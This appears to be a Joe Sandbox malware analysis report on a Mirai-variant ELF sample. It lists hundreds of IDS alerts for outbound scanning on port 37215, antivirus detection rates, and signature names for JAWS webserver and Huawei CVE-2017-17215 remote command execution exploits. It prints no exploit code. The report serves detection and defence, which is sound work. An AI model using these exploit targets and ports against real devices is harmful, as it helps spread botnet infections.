2025-01-05T14:35:21.709471+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56986	41.125.204.121	37215	TCP
2025-01-05T14:35:22.484208+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36550	156.75.208.51	37215	TCP
2025-01-05T14:35:24.763411+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39718	197.69.43.131	37215	TCP
2025-01-05T14:35:24.763559+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41814	41.75.55.64	37215	TCP
2025-01-05T14:35:24.792814+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47444	197.253.176.159	37215	TCP
2025-01-05T14:35:24.796658+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51232	197.194.52.19	37215	TCP
2025-01-05T14:35:24.810933+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38372	197.180.206.154	37215	TCP
2025-01-05T14:35:24.811062+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47490	197.34.157.50	37215	TCP
2025-01-05T14:35:24.811527+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38552	156.80.103.197	37215	TCP
2025-01-05T14:35:24.814718+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48356	41.136.81.60	37215	TCP
2025-01-05T14:35:24.815952+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50628	156.8.172.132	37215	TCP
2025-01-05T14:35:24.826147+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33664	197.222.110.178	37215	TCP
2025-01-05T14:35:24.828349+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59438	197.60.203.86	37215	TCP
2025-01-05T14:35:24.829113+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47258	41.54.17.227	37215	TCP
2025-01-05T14:35:24.830041+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50494	197.82.30.209	37215	TCP
2025-01-05T14:35:24.841581+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59858	197.79.133.212	37215	TCP
2025-01-05T14:35:24.841640+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43376	156.197.218.92	37215	TCP
2025-01-05T14:35:24.855470+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53310	41.213.235.247	37215	TCP
2025-01-05T14:35:24.857318+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59290	41.190.180.192	37215	TCP
2025-01-05T14:35:24.859062+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55978	41.15.209.138	37215	TCP
2025-01-05T14:35:24.860181+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54256	41.200.83.35	37215	TCP
2025-01-05T14:35:24.860823+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47706	156.195.105.85	37215	TCP
2025-01-05T14:35:24.861026+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41222	197.187.103.185	37215	TCP
2025-01-05T14:35:24.872971+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45022	197.109.128.151	37215	TCP
2025-01-05T14:35:24.886547+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43988	156.171.125.144	37215	TCP
2025-01-05T14:35:24.902093+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58116	41.201.42.131	37215	TCP
2025-01-05T14:35:24.905330+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60074	197.60.171.117	37215	TCP
2025-01-05T14:35:24.919510+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45244	197.54.173.80	37215	TCP
2025-01-05T14:35:24.952999+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44562	41.180.246.157	37215	TCP
2025-01-05T14:35:24.982349+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36756	156.170.218.140	37215	TCP
2025-01-05T14:35:24.984120+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52502	156.94.162.195	37215	TCP
2025-01-05T14:35:25.031487+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33436	197.84.15.127	37215	TCP
2025-01-05T14:35:25.839788+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54842	197.236.237.254	37215	TCP
2025-01-05T14:35:25.855371+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48712	156.89.90.111	37215	TCP
2025-01-05T14:35:25.856120+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53650	41.160.228.254	37215	TCP
2025-01-05T14:35:25.857173+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45268	156.214.104.191	37215	TCP
2025-01-05T14:35:25.886567+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38692	41.66.96.43	37215	TCP
2025-01-05T14:35:25.890407+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50348	41.70.72.251	37215	TCP
2025-01-05T14:35:25.917941+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58988	156.148.192.57	37215	TCP
2025-01-05T14:35:25.935190+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43810	197.11.210.39	37215	TCP
2025-01-05T14:35:25.968567+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45550	197.180.106.240	37215	TCP
2025-01-05T14:35:26.982077+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33354	41.126.156.236	37215	TCP
2025-01-05T14:35:26.996001+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55430	41.48.91.19	37215	TCP
2025-01-05T14:35:27.062374+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42756	197.82.17.160	37215	TCP
2025-01-05T14:35:28.808497+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37928	197.13.245.98	37215	TCP
2025-01-05T14:35:28.808781+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35732	41.2.209.183	37215	TCP
2025-01-05T14:35:28.810436+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57462	41.91.248.155	37215	TCP
2025-01-05T14:35:28.824833+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42732	41.59.182.157	37215	TCP
2025-01-05T14:35:28.829665+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39294	41.97.3.223	37215	TCP
2025-01-05T14:35:28.829812+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53102	41.116.175.45	37215	TCP
2025-01-05T14:35:28.840157+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49720	41.213.135.19	37215	TCP
2025-01-05T14:35:28.841099+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51112	197.105.165.45	37215	TCP
2025-01-05T14:35:28.858171+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44232	156.163.249.77	37215	TCP
2025-01-05T14:35:28.861852+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44830	156.18.15.156	37215	TCP
2025-01-05T14:35:28.871041+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40838	41.117.95.221	37215	TCP
2025-01-05T14:35:28.890484+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41772	41.181.211.24	37215	TCP
2025-01-05T14:35:28.902149+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51224	156.85.245.41	37215	TCP
2025-01-05T14:35:28.906007+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50086	156.165.175.82	37215	TCP
2025-01-05T14:35:28.907804+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36980	41.127.180.69	37215	TCP
2025-01-05T14:35:28.980462+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38570	41.242.84.4	37215	TCP
2025-01-05T14:35:29.011827+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50680	41.93.222.176	37215	TCP
2025-01-05T14:35:29.917940+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45410	41.177.43.112	37215	TCP
2025-01-05T14:35:29.919943+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60046	197.221.234.253	37215	TCP
2025-01-05T14:35:29.921672+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47768	41.69.79.153	37215	TCP
2025-01-05T14:35:29.949223+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33314	197.21.220.30	37215	TCP
2025-01-05T14:35:29.954805+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49512	41.105.214.13	37215	TCP
2025-01-05T14:35:29.966667+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40352	197.88.186.240	37215	TCP
2025-01-05T14:35:30.933561+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51000	197.5.27.15	37215	TCP
2025-01-05T14:35:30.934333+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54726	156.19.241.157	37215	TCP
2025-01-05T14:35:30.935150+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58150	197.152.37.98	37215	TCP
2025-01-05T14:35:30.935332+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33154	156.63.184.208	37215	TCP
2025-01-05T14:35:30.950953+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56864	156.123.127.178	37215	TCP
2025-01-05T14:35:30.982068+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50020	41.11.94.72	37215	TCP
2025-01-05T14:35:30.986018+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45736	41.224.221.140	37215	TCP
2025-01-05T14:35:31.873671+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37636	197.177.15.40	37215	TCP
2025-01-05T14:35:31.886989+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38710	41.253.67.30	37215	TCP
2025-01-05T14:35:31.887690+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50564	41.37.132.77	37215	TCP
2025-01-05T14:35:31.888804+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44252	41.32.43.65	37215	TCP
2025-01-05T14:35:31.938412+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60988	197.165.246.196	37215	TCP
2025-01-05T14:35:31.980607+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60584	197.164.24.102	37215	TCP
2025-01-05T14:35:31.981249+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41602	41.248.180.73	37215	TCP
2025-01-05T14:35:31.982159+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58300	156.0.25.45	37215	TCP
2025-01-05T14:35:31.986039+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46840	41.147.246.33	37215	TCP
2025-01-05T14:35:32.891607+0100	2835222	1	A Network Trojan was detected	192.168.2.13	32956	156.43.106.14	37215	TCP
2025-01-05T14:35:32.949095+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54380	41.56.86.25	37215	TCP
2025-01-05T14:35:32.999171+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58672	156.6.24.176	37215	TCP
2025-01-05T14:35:33.001810+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48894	41.45.157.183	37215	TCP
2025-01-05T14:35:33.015471+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59286	197.13.192.236	37215	TCP
2025-01-05T14:35:33.980437+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60076	197.174.141.65	37215	TCP
2025-01-05T14:35:33.996160+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44262	41.31.8.215	37215	TCP
2025-01-05T14:35:34.001754+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52664	41.39.24.149	37215	TCP
2025-01-05T14:35:34.920074+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51290	156.213.81.16	37215	TCP
2025-01-05T14:35:34.934308+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44014	156.194.41.46	37215	TCP
2025-01-05T14:35:34.935388+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40952	197.80.91.181	37215	TCP
2025-01-05T14:35:34.937487+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59256	41.103.56.206	37215	TCP
2025-01-05T14:35:34.942608+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35480	41.58.144.66	37215	TCP
2025-01-05T14:35:34.954058+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39384	156.77.214.254	37215	TCP
2025-01-05T14:35:38.968705+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55450	156.102.237.30	37215	TCP
2025-01-05T14:35:39.984602+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58104	197.33.17.56	37215	TCP
2025-01-05T14:35:39.985641+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33642	197.149.241.180	37215	TCP
2025-01-05T14:35:39.986160+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44210	197.112.115.70	37215	TCP
2025-01-05T14:35:39.996136+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45230	41.149.56.194	37215	TCP
2025-01-05T14:35:39.996882+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59722	197.164.9.85	37215	TCP
2025-01-05T14:35:39.997942+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45542	197.209.47.74	37215	TCP
2025-01-05T14:35:40.013836+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48896	197.207.231.80	37215	TCP
2025-01-05T14:35:41.980646+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42362	41.98.26.162	37215	TCP
2025-01-05T14:35:41.980913+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34278	41.159.67.26	37215	TCP
2025-01-05T14:35:41.996328+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57158	156.133.4.102	37215	TCP
2025-01-05T14:35:41.996335+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43428	197.216.141.98	37215	TCP
2025-01-05T14:35:41.996900+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58626	156.51.163.150	37215	TCP
2025-01-05T14:35:41.997974+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33672	41.4.28.135	37215	TCP
2025-01-05T14:35:42.000008+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45214	156.20.55.196	37215	TCP
2025-01-05T14:35:42.012747+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40002	197.14.74.197	37215	TCP
2025-01-05T14:35:42.013519+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36052	41.2.223.185	37215	TCP
2025-01-05T14:35:42.014813+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49920	156.184.48.29	37215	TCP
2025-01-05T14:35:42.015699+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39056	156.237.234.88	37215	TCP
2025-01-05T14:35:42.033117+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56316	197.73.251.126	37215	TCP
2025-01-05T14:35:42.033153+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42258	156.225.66.51	37215	TCP
2025-01-05T14:35:42.709695+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47784	41.71.254.28	37215	TCP
2025-01-05T14:35:43.074414+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56366	41.41.84.87	37215	TCP
2025-01-05T14:35:43.074560+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54758	41.77.226.229	37215	TCP
2025-01-05T14:35:43.075156+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36466	41.188.31.110	37215	TCP
2025-01-05T14:35:43.093681+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37274	156.205.130.198	37215	TCP
2025-01-05T14:35:43.094812+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34074	156.144.250.89	37215	TCP
2025-01-05T14:35:46.105797+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45728	41.168.200.253	37215	TCP
2025-01-05T14:35:46.110382+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44108	197.91.43.110	37215	TCP
2025-01-05T14:35:46.140731+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33184	197.14.83.96	37215	TCP
2025-01-05T14:35:47.184775+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43852	197.200.123.219	37215	TCP
2025-01-05T14:35:47.184945+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41272	197.117.128.83	37215	TCP
2025-01-05T14:35:47.184946+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59556	41.115.117.102	37215	TCP
2025-01-05T14:35:47.184951+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36756	156.154.39.87	37215	TCP
2025-01-05T14:35:47.185207+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41474	41.227.247.41	37215	TCP
2025-01-05T14:35:47.185378+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54064	156.180.222.237	37215	TCP
2025-01-05T14:35:47.185378+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51792	156.14.86.147	37215	TCP
2025-01-05T14:35:47.185528+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60810	197.32.170.179	37215	TCP
2025-01-05T14:35:47.185831+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46276	41.122.121.27	37215	TCP
2025-01-05T14:35:47.185831+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44506	41.151.88.233	37215	TCP
2025-01-05T14:35:47.186452+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59852	197.27.191.213	37215	TCP
2025-01-05T14:35:47.186456+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39048	41.132.228.125	37215	TCP
2025-01-05T14:35:47.187773+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44764	197.43.210.83	37215	TCP
2025-01-05T14:35:47.188100+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45680	197.189.71.223	37215	TCP
2025-01-05T14:35:47.188173+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33910	41.29.150.21	37215	TCP
2025-01-05T14:35:47.188198+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34854	156.230.109.92	37215	TCP
2025-01-05T14:35:47.203254+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35562	197.182.234.35	37215	TCP
2025-01-05T14:35:47.203435+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59458	197.102.174.182	37215	TCP
2025-01-05T14:35:47.203548+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55354	156.14.89.18	37215	TCP
2025-01-05T14:35:47.205077+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54086	41.52.33.77	37215	TCP
2025-01-05T14:35:47.215128+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51940	197.63.127.197	37215	TCP
2025-01-05T14:35:47.218945+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60296	156.249.219.28	37215	TCP
2025-01-05T14:35:47.219033+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55658	41.51.212.25	37215	TCP
2025-01-05T14:35:47.234555+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38420	197.200.87.98	37215	TCP
2025-01-05T14:35:47.236331+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41832	41.158.136.138	37215	TCP
2025-01-05T14:35:48.255087+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48690	197.234.86.229	37215	TCP
2025-01-05T14:35:48.255090+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53088	41.75.125.191	37215	TCP
2025-01-05T14:35:48.255100+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52568	41.243.115.173	37215	TCP
2025-01-05T14:35:49.116384+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60932	197.8.199.168	37215	TCP
2025-01-05T14:35:49.264116+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52598	156.134.185.168	37215	TCP
2025-01-05T14:35:49.267556+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56508	156.187.103.155	37215	TCP
2025-01-05T14:35:50.250039+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49178	197.43.112.68	37215	TCP
2025-01-05T14:35:50.265848+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38340	41.216.222.236	37215	TCP
2025-01-05T14:35:50.279354+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56074	156.18.64.56	37215	TCP
2025-01-05T14:35:50.281407+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39392	197.18.131.141	37215	TCP
2025-01-05T14:35:51.312860+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39504	156.119.120.22	37215	TCP
2025-01-05T14:35:52.293415+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42590	156.117.200.120	37215	TCP
2025-01-05T14:35:59.340306+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56094	197.250.82.139	37215	TCP
2025-01-05T14:36:01.359567+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36122	156.225.221.149	37215	TCP
2025-01-05T14:36:01.389091+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34610	41.6.54.227	37215	TCP
2025-01-05T14:36:01.391071+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54290	41.151.124.241	37215	TCP
2025-01-05T14:36:01.392739+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43824	156.68.246.166	37215	TCP
2025-01-05T14:36:01.407657+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48044	156.198.44.70	37215	TCP
2025-01-05T14:36:01.418490+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50982	41.211.129.160	37215	TCP
2025-01-05T14:36:01.435863+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59232	41.162.72.88	37215	TCP
2025-01-05T14:36:01.437870+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42618	156.69.129.78	37215	TCP
2025-01-05T14:36:02.387383+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50756	197.165.15.178	37215	TCP
2025-01-05T14:36:02.387568+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57024	41.172.122.97	37215	TCP
2025-01-05T14:36:02.387605+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49990	41.155.65.59	37215	TCP
2025-01-05T14:36:02.388009+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39522	156.126.88.70	37215	TCP
2025-01-05T14:36:02.389079+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33696	41.77.0.218	37215	TCP
2025-01-05T14:36:02.389247+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36790	156.57.24.237	37215	TCP
2025-01-05T14:36:02.390995+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51194	41.46.45.200	37215	TCP
2025-01-05T14:36:02.402866+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40258	41.223.59.135	37215	TCP
2025-01-05T14:36:02.404749+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52948	197.126.138.250	37215	TCP
2025-01-05T14:36:02.406587+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52238	41.225.143.123	37215	TCP
2025-01-05T14:36:02.406590+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42652	197.133.68.253	37215	TCP
2025-01-05T14:36:02.408428+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55746	197.1.5.91	37215	TCP
2025-01-05T14:36:02.408492+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59090	41.82.107.209	37215	TCP
2025-01-05T14:36:02.418554+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56912	197.21.90.235	37215	TCP
2025-01-05T14:36:02.418640+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46224	156.18.17.73	37215	TCP
2025-01-05T14:36:02.420510+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43356	197.115.53.90	37215	TCP
2025-01-05T14:36:02.422331+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59324	156.218.50.195	37215	TCP
2025-01-05T14:36:02.422408+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55626	156.135.157.212	37215	TCP
2025-01-05T14:36:02.422486+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58048	197.165.27.57	37215	TCP
2025-01-05T14:36:02.423215+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58752	41.210.57.29	37215	TCP
2025-01-05T14:36:04.460975+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59152	197.85.11.246	37215	TCP
2025-01-05T14:36:04.460993+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51530	156.79.25.236	37215	TCP
2025-01-05T14:36:05.436104+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42522	197.1.99.23	37215	TCP
2025-01-05T14:36:05.480966+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40718	41.13.16.109	37215	TCP
2025-01-05T14:36:05.484868+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33876	197.8.102.6	37215	TCP
2025-01-05T14:36:05.496800+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60682	41.166.167.177	37215	TCP
2025-01-05T14:36:05.513977+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41724	197.145.97.198	37215	TCP
2025-01-05T14:36:06.481076+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38376	156.210.106.58	37215	TCP
2025-01-05T14:36:06.514172+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57804	197.96.160.190	37215	TCP
2025-01-05T14:36:08.559330+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41506	156.168.225.178	37215	TCP
2025-01-05T14:36:08.559330+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41598	156.10.145.90	37215	TCP
2025-01-05T14:36:08.562959+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52012	197.184.72.248	37215	TCP
2025-01-05T14:36:08.574938+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40442	41.109.239.48	37215	TCP
2025-01-05T14:36:08.580500+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37916	41.33.214.50	37215	TCP
2025-01-05T14:36:09.637431+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50142	41.48.139.76	37215	TCP
2025-01-05T14:36:09.640500+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58586	156.150.188.212	37215	TCP
2025-01-05T14:36:09.654699+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41056	156.35.12.181	37215	TCP
2025-01-05T14:36:10.441376+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52214	156.251.179.7	37215	TCP
2025-01-05T14:36:11.590617+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46790	156.177.210.47	37215	TCP
2025-01-05T14:36:11.592331+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54368	41.179.215.81	37215	TCP
2025-01-05T14:36:11.612517+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55862	156.247.231.231	37215	TCP
2025-01-05T14:36:15.690046+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60334	41.24.221.169	37215	TCP
2025-01-05T14:36:16.637454+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53368	197.94.113.208	37215	TCP
2025-01-05T14:36:16.641306+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60258	156.236.104.239	37215	TCP
2025-01-05T14:36:16.672363+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48142	156.24.132.13	37215	TCP
2025-01-05T14:36:17.357761+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45460	197.129.253.146	37215	TCP
2025-01-05T14:36:17.671804+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40104	41.26.56.238	37215	TCP
2025-01-05T14:36:17.674321+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44950	197.67.177.48	37215	TCP
2025-01-05T14:36:18.716375+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44794	41.0.177.130	37215	TCP
2025-01-05T14:36:23.746930+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51526	41.139.248.107	37215	TCP
2025-01-05T14:36:23.747713+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46098	197.93.4.231	37215	TCP
2025-01-05T14:36:24.735281+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47740	41.228.14.186	37215	TCP
2025-01-05T14:36:24.767382+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55732	197.250.13.102	37215	TCP
2025-01-05T14:36:25.809667+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59850	156.22.131.35	37215	TCP
2025-01-05T14:36:25.841115+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33852	197.148.91.70	37215	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: z0r0.m68k.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: z0r0.m68k.elf	Virustotal: Detection: 66%			Perma Link
Source: z0r0.m68k.elf	ReversingLabs: Detection: 65%

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:41778 -> 120.75.215.22:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:41778 -> 120.75.215.22:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:35082 -> 23.224.32.45:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:35082 -> 23.224.32.45:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43026 -> 41.36.170.30:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:40822 -> 20.206.193.222:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:40822 -> 20.206.193.222:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:53112 -> 107.209.39.169:80
